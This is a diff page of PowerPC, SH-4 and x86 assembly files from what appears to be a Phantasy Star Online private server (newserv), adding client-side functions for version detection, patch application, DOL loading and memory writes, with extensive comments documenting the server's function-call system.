skip_section:
|
||||
# Move to the next section
|
||||
addi r29, r29, 4
|
||||
cmp r29, r28
|
||||
bne run_dol__move_section
|
||||
|
||||
run_dol__zero_bss:
|
||||
lwz r3, [r30 + 0xD8] # r3 = BSS address
|
||||
lwz r4, [r30 + 0xDC] # r4 = BSS size
|
||||
cmplwi r4, 0
|
||||
beq run_dol__skip_zero_bss
|
||||
add r4, r3, r4 # r4 = BSS end address
|
||||
subi r3, r3, 1
|
||||
li r0, 0
|
||||
run_dol__zero_bss__again:
|
||||
stbu [r3 + 1], r0
|
||||
cmp r3, r4
|
||||
bne run_dol__zero_bss__again
|
||||
run_dol__skip_zero_bss:
|
||||
|
||||
run_dol__go_to_entrypoint:
|
||||
lwz r0, [r30 + 0xE0] # r30 = entrypoint
|
||||
mtctr r0
|
||||
bctr
|
||||
|
||||
|
||||
|
||||
flush_cached_code_writes:
|
||||
.include FlushCachedCode
|
||||
blr
|
||||
|
||||
|
||||
|
||||
prs_decompress:
|
||||
.include PRSDecompress
|
||||
|
||||
|
||||
|
||||
return_end_ptr:
|
||||
mflr r3
|
||||
bctr
|
||||
get_end_ptr:
|
||||
mflr r0
|
||||
mtctr r0
|
||||
bl return_end_ptr
|
||||
@@ -0,0 +1,61 @@
|
||||
# This function returns the game version, with values more specific than can be
|
||||
# detected by the sub_version field in the various login commands (e.g. 93/9D).
|
||||
|
||||
# The returned value has the format SSPPRRVV, where:
|
||||
# S = version (31 = PSOv1, 32 = PSOv2)
|
||||
# G = game (4F = PSO)
|
||||
# R = region (45 = E, 4A = J, 50 = P)
|
||||
# V = minor version (31 = NTE, 32 = 11/2000, 33 = 12/2000, 24 = 01/2001,
|
||||
# 35 = 08/2001, 46 = not a prototype)
|
||||
# This results in a 4-character ASCII-printable version code which encodes all
|
||||
# of the above information. This value is called specific_version in the places
|
||||
# where it's used by the server.
|
||||
|
||||
entry_ptr:
|
||||
reloc0:
|
||||
.offsetof start
|
||||
|
||||
start:
|
||||
mova r0, [data_start]
|
||||
mov r1, r0
|
||||
mov.l r2, [r1]+ # target value
|
||||
again:
|
||||
mov.l r0, [r1]+ # candidate address
|
||||
cmpeq r0, 0
|
||||
bt done # return 0 if no version matched
|
||||
mov.l r0, [r0] # value from candidate address
|
||||
cmpeq r0, r2
|
||||
mov.l r0, [r1]+ # specific_version from this match
|
||||
bf again
|
||||
nop
|
||||
|
||||
done:
|
||||
rets
|
||||
nop
|
||||
|
||||
.align 4
|
||||
data_start:
|
||||
.data 0x61657244
|
||||
.data 0x8C239D78 # v1 NTE
|
||||
.data 0x314F4A31 # 1OJ1
|
||||
.data 0x8C24CA24 # v1 11/2000
|
||||
.data 0x314F4A32 # 1OJ2
|
||||
.data 0x8C2873AC # v1 12/2000
|
||||
.data 0x314F4A33 # 1OJ3
|
||||
.data 0x8C28B04C # v1 01/2001
|
||||
.data 0x314F4A34 # 1OJ4
|
||||
.data 0x8C291E34 # v1 JP
|
||||
.data 0x314F4A46 # 1OJF
|
||||
.data 0x8C28B924 # v1 USA
|
||||
.data 0x314F4546 # 1OEF
|
||||
.data 0x8C28B3F4 # v1 EU
|
||||
.data 0x314F5046 # 1OPF
|
||||
.data 0x8C2F3748 # v2 08/2001
|
||||
.data 0x324F4A35 # 2OJ5
|
||||
.data 0x8C2F11D0 # v2 JP
|
||||
.data 0x324F4A46 # 2OJF
|
||||
.data 0x8C2F3738 # v2 USA
|
||||
.data 0x324F4546 # 2OEF
|
||||
.data 0x8C2E7CE0 # v2 EU
|
||||
.data 0x324F5046 # 2OPF
|
||||
.data 0x00000000 # end sentinel
|
||||
@@ -0,0 +1,39 @@
|
||||
# This function returns the game version, with values more specific than can be
|
||||
# detected by the sub_version field in the various login commands (e.g. 9D/9E).
|
||||
|
||||
# The returned value has the format SSGGRRVV, where:
|
||||
# S = 33 (which represents PSO GC)
|
||||
# G = game (4F (O) = Ep1&2, 53 (S) = Ep3)
|
||||
# R = region (45 (E), 4A (J), or 50 (P))
|
||||
# V = minor version | 30 (30 = 1.0, 31 = 1.1, 32 = 1.2, etc.), or 54 for NTE
|
||||
# This results in a 4-character ASCII-printable version code which encodes all
|
||||
# of the above information. This value is called specific_version in the places
|
||||
# where it's used by the server.
|
||||
|
||||
entry_ptr:
|
||||
reloc0:
|
||||
.offsetof start
|
||||
|
||||
start:
|
||||
lis r3, 0x8000
|
||||
lwz r4, [r3]
|
||||
|
||||
# For Trial Editions, set the V field to 54; for other versions, set it to
|
||||
# 0x30 | disc_version
|
||||
rlwinm r0, r4, 8, 24, 31
|
||||
cmplwi r0, 0x47 # Check if high byte of game ID is 'G'
|
||||
beq not_trial
|
||||
cmplwi r0, 0x44 # Check if high byte of game ID is 'D'
|
||||
beq is_nte
|
||||
li r3, 0
|
||||
blr
|
||||
is_nte:
|
||||
li r3, 0x0054
|
||||
b end_trial_check
|
||||
not_trial:
|
||||
lbz r3, [r3 + 7]
|
||||
ori r3, r3, 0x0030
|
||||
end_trial_check:
|
||||
oris r3, r3, 0x3300 # Set high byte ('3')
|
||||
rlwimi r3, r4, 8, 8, 23 # Set middle two bytes to last to bytes of game ID
|
||||
blr
|
||||
@@ -0,0 +1,54 @@
|
||||
# Returns the client specific_version in eax and the address of the
|
||||
# MmSetAddressProtect function pointer in ecx, which is immediately followed by
|
||||
# the MmQueryAddressProtect function pointer.
|
||||
|
||||
start:
|
||||
mov ecx, 0x61657244
|
||||
|
||||
# JP beta
|
||||
mov eax, 0x344F4A42
|
||||
mov edx, 0x00400578
|
||||
cmp [0x0043D460], ecx
|
||||
je done
|
||||
|
||||
# JP disc
|
||||
mov eax, 0x344F4A44
|
||||
mov edx, 0x00400918
|
||||
cmp [0x0043D7D0], ecx
|
||||
je done
|
||||
|
||||
# JP title update
|
||||
mov eax, 0x344F4A55
|
||||
mov edx, 0x00403E3C
|
||||
cmp [0x00440FE0], ecx
|
||||
je done
|
||||
|
||||
# US disc
|
||||
mov eax, 0x344F4544
|
||||
mov edx, 0x00404518
|
||||
cmp [0x0044174C], ecx
|
||||
je done
|
||||
|
||||
# US title update
|
||||
mov eax, 0x344F4555
|
||||
mov edx, 0x00403E3C
|
||||
cmp [0x00440FEC], ecx
|
||||
je done
|
||||
|
||||
# EU disc
|
||||
mov eax, 0x344F5044
|
||||
mov edx, 0x00404538
|
||||
cmp [0x00441768], ecx
|
||||
je done
|
||||
|
||||
# EU title update
|
||||
mov eax, 0x344F5055
|
||||
mov edx, 0x0040491C
|
||||
cmp [0x00441AF8], ecx
|
||||
je done
|
||||
|
||||
# Unknown version
|
||||
mov eax, 0x344F0000
|
||||
xor edx, edx
|
||||
|
||||
done:
|
||||
@@ -0,0 +1,18 @@
|
||||
# This function returns the game version, with values more specific than can be
|
||||
# detected by the sub_version field in the various login commands (e.g. 9D/9E).
|
||||
|
||||
# The returned value has the format SSSSRRVV, where:
|
||||
# S = 344F (which represents PSO Xbox)
|
||||
# R = region (45 (E), 4A (J), or 50 (P))
|
||||
# V = version (42 (B) for beta, 44 (D) for disc, 55 (U) for title update)
|
||||
# This results in a 4-character ASCII-printable version code which encodes all
|
||||
# of the above information. This value is called specific_version in the places
|
||||
# where it's used by the server.
|
||||
|
||||
entry_ptr:
|
||||
reloc0:
|
||||
.offsetof start
|
||||
|
||||
start:
|
||||
.include VersionDetectWithPatchFunctionsXB
|
||||
ret
|
||||
@@ -0,0 +1,20 @@
|
||||
mflr r8
|
||||
b get_patch_data_ptr
|
||||
get_patch_data_ptr_ret:
|
||||
mflr r7 # r7 = patch header
|
||||
apply_patch:
|
||||
addi r4, r7, 8 # r4 = start of patch data
|
||||
lwz r3, [r4 - 8] # r3 = patch dest address
|
||||
lwz r5, [r4 - 4] # r5 = patch data size
|
||||
or r0, r3, r5
|
||||
cmplwi r0, 0
|
||||
mtlr r8
|
||||
beqlr
|
||||
add r7, r4, r5 # r7 = next patch header
|
||||
.include CopyCode
|
||||
b apply_patch
|
||||
|
||||
get_patch_data_ptr:
|
||||
bl get_patch_data_ptr_ret
|
||||
|
||||
first_patch_header:
|
||||
@@ -0,0 +1,56 @@
|
||||
start:
|
||||
.include VersionDetectWithPatchFunctionsXB
|
||||
|
||||
xor eax, eax
|
||||
cmp edx, 0
|
||||
jne can_patch
|
||||
ret
|
||||
can_patch:
|
||||
|
||||
push esi
|
||||
push edi
|
||||
push ebx
|
||||
mov edi, edx # edi = ptr to useful kernel function ptrs
|
||||
jmp get_patch_data_ptr
|
||||
get_patch_data_ptr_ret:
|
||||
pop ebx # ebx = patch header
|
||||
|
||||
apply_next_patch:
|
||||
cmp dword [ebx + 4], 0
|
||||
jne copy_code_and_apply_again
|
||||
pop ebx
|
||||
pop edi
|
||||
pop esi
|
||||
mov eax, 1
|
||||
ret
|
||||
|
||||
copy_code_and_apply_again:
|
||||
push dword [ebx] # dest addr
|
||||
call [edi + 4] # MmQueryAddressProtect
|
||||
mov esi, eax # esi = prev protection flags
|
||||
|
||||
push 4 # new protection flags
|
||||
push dword [ebx + 4] # size
|
||||
push dword [ebx] # base address
|
||||
call [edi] # MmSetAddressProtect
|
||||
|
||||
xor ecx, ecx # ecx = offset
|
||||
mov edx, [ebx] # edx = dest addr
|
||||
copy_next_byte:
|
||||
mov al, [ebx + ecx + 8] # copy one byte to dest
|
||||
mov [edx + ecx], al
|
||||
inc ecx # offset++
|
||||
cmp [ebx + 4], ecx # check if all bytes have been copied
|
||||
jne copy_next_byte
|
||||
|
||||
push esi # new protection flags
|
||||
push dword [ebx + 4] # size
|
||||
push dword [ebx] # base address
|
||||
lea ebx, [ebx + ecx + 8] # advance to next block
|
||||
call [edi] # MmSetAddressProtect
|
||||
jmp apply_next_patch
|
||||
|
||||
get_patch_data_ptr:
|
||||
call get_patch_data_ptr_ret
|
||||
|
||||
first_patch_header:
|
||||
@@ -0,0 +1,135 @@
|
||||
# This function is required for loading DOLs. If it's not present, newserv can't
|
||||
# serve DOL files to GameCube clients.
|
||||
|
||||
# This is also the file I've chosen to document how to write code for newserv's
|
||||
# functions subsystem. There are three kinds of functions: includes, patches,
|
||||
# and general functions. This file, WriteMemory, is a general function. It
|
||||
# writes a variable-length block of data to a specified address in the client's
|
||||
# memory.
|
||||
|
||||
# Includes are snippets of code that are intended to be used as part of other
|
||||
# functions and patches. These files' names end with .inc.s. These can be used
|
||||
# with the .include directive; there is an example of this in the code below.
|
||||
|
||||
# Patches are functions that are available to run upon client request. They can
|
||||
# be made available in the Patches menu or via the $patch command. Patches
|
||||
# should be named like PATCHNAME.VXLS.patch.s, where V, X, L, and S denote which
|
||||
# specific game version the patch is for. Specifically:
|
||||
# V should be 3 for PSO GameCube, 4 for PSO Xbox, 5 for PSO BB
|
||||
# X should be O for GC Episodes 1 & 2, S for GC Episode 3, 0 for Xbox
|
||||
# L should be E, J, or P for USA, Japanese, or Europe
|
||||
# S should be 0, 1, 2, etc. for the GC disc version (0 = 1.0, 1 = 1.1, etc.)
|
||||
# On Xbox, S is B (beta), D (disc), or U (title update)
|
||||
# (For the curious, these four-character version codes directly match the
|
||||
# values returned by the VersionDetectGC or VersionDetectXB functions; see
|
||||
# those files for more details.) For example, the patch that gives the player a
|
||||
# VIP card in Episode 3 USA is in the file VIPCard.3SE0.patch.s. (If there were
|
||||
# a Japanese version of that patch, it would be in VIPCard.3SJ0.patch.s.)
|
||||
|
||||
# For example, to use this function to write the bytes 38 00 00 05 to the
|
||||
# address 8010521C, send_function_call could be called like this:
|
||||
# auto fn = s->function_code_index->name_to_function.at("WriteMemory");
|
||||
# unordered_map<string, uint32_t> label_writes(
|
||||
# {{"dest_addr", 0x8010521C}, {"size", 4}});
|
||||
# string suffix("\x38\x00\x00\x05", 4);
|
||||
# send_function_call(
|
||||
# c, // Client to send function call to
|
||||
# fn, // The function's code
|
||||
# label_writes, // Variables to pass in to the function's code
|
||||
# suffix); // Data to append after the code (not all functions use this)
|
||||
# The meanings of label_writes and suffix are described in the comments below.
|
||||
# Note that there is no way to specify label_writes or suffix for patches
|
||||
# requested by the client, so those features should only be used in general
|
||||
# functions.
|
||||
|
||||
# These directives tell newserv what to show to the player in the Patches menu.
|
||||
# Neither of them is required; if the name is omitted, the filename is used
|
||||
# instead.
|
||||
.meta name="Write memory"
|
||||
.meta description="Writes data to any location in memory"
|
||||
|
||||
# The .meta index directive tells newserv what value to use in the flag field
|
||||
# when sending the B2 command. This is needed if the server needs to do
|
||||
# something when the B3 response is received. If specified, the index must be in
|
||||
# the range 01-FF. The DOL loading functionality, which this function is a part
|
||||
# of, uses indexes E0, E1, and E2, but the WriteMemory function can also be used
|
||||
# for other purposes.
|
||||
.meta index=E1
|
||||
|
||||
# To hide a patch from the Patches menu (so it can only be used with the $patch
|
||||
# command), this directive can be used. This has no effect if used in includes
|
||||
# or general functions.
|
||||
# .meta hide_from_patches_menu
|
||||
|
||||
# The entry_ptr label is required for all functions. It should point to a
|
||||
# .offsetof directive that itself points to the actual entrypoint.
|
||||
entry_ptr:
|
||||
# All labels starting with reloc signify that the following PPC word (big-endian
|
||||
# 32-bit value) is to be relocated at runtime. That is, when the code runs on
|
||||
# the client, the PPC word will contain the actual memory address relative to
|
||||
# the running code instead of the offset that it holds at assembly time. The
|
||||
# entry_ptr label should almost always have a reloc label next to it.
|
||||
reloc0:
|
||||
.offsetof start
|
||||
|
||||
start:
|
||||
mflr r12
|
||||
bl get_block_ptr
|
||||
mr r6, r3 # r6 = address of dest_addr label
|
||||
|
||||
copy_block:
|
||||
lwz r3, [r6] # r3 = dest ptr
|
||||
subi r3, r3, 1 # subtract 1 so we can use stbu
|
||||
lwz r5, [r6 + 4] # r5 = size (bytes remaining)
|
||||
add r5, r5, r3 # r5 = dest end ptr (last byte to be written)
|
||||
addi r4, r6, 7 # r4 = src ptr (starting at -1 so we can use lbzu)
|
||||
copy_block__again:
|
||||
lbzu r0, [r4 + 1]
|
||||
stbu [r3 + 1], r0
|
||||
cmp r3, r5
|
||||
bne copy_block__again
|
||||
|
||||
# Flush the data cache and clear the instruction cache at the written region
|
||||
lwz r3, [r6] # r3 = dest ptr
|
||||
lwz r4, [r6 + 4] # r4 = size
|
||||
# A .include directive essentially pastes in the code from the referenced
|
||||
# file. Here, we use the code from the file FlushCachedCode.inc.s.
|
||||
.include FlushCachedCode
|
||||
|
||||
# Return the address after the last byte written. The value returned in r3
|
||||
# from the function is sent back to the server in a B3 command. newserv uses
|
||||
# the return value during DOL loading to know which section of the DOL file to
|
||||
# send next, or to send the RunDOL function if all sections have been loaded.
|
||||
lwz r3, [r6] # r3 = dest ptr
|
||||
lwz r4, [r6 + 4] # r4 = size
|
||||
add r3, r3, r4
|
||||
mtlr r12
|
||||
blr
|
||||
|
||||
get_block_ptr__ret:
|
||||
mflr r3
|
||||
mtlr r10
|
||||
blr
|
||||
get_block_ptr:
|
||||
# We use a trick here to get the address of the dest_addr label: since bl puts
|
||||
# the immediately-following address into the link register, we "call"
|
||||
# get_block_ptr__ret and get the dest_addr pointer out of the LR. We then put
|
||||
# r10 back into the LR so get_block_ptr__ret returns to the caller.
|
||||
mflr r10
|
||||
bl get_block_ptr__ret
|
||||
|
||||
# These fields are filled in right before the command is sent to the client.
|
||||
# Specifically, the label_writes argument to send_function_call is responsible
|
||||
# for this. The label_writes argument is a map of label name to value, and
|
||||
# send_function_call simply writes the given values after the given labels. This
|
||||
# is a way to pass arbitrary arguments to a function at call time.
|
||||
dest_addr:
|
||||
.zero
|
||||
size:
|
||||
.zero
|
||||
|
||||
# Finally, we use the suffix argument to instruct send_function_call to append
|
||||
# the data we want to write to memory immediately after the assembled code.
|
||||
# (The data_to_write label here is for documentation purposes only; the suffix
|
||||
# argument always appends data after the end of all the assembled code.)
|
||||
data_to_write:
|
||||
Reference in New Issue
Block a user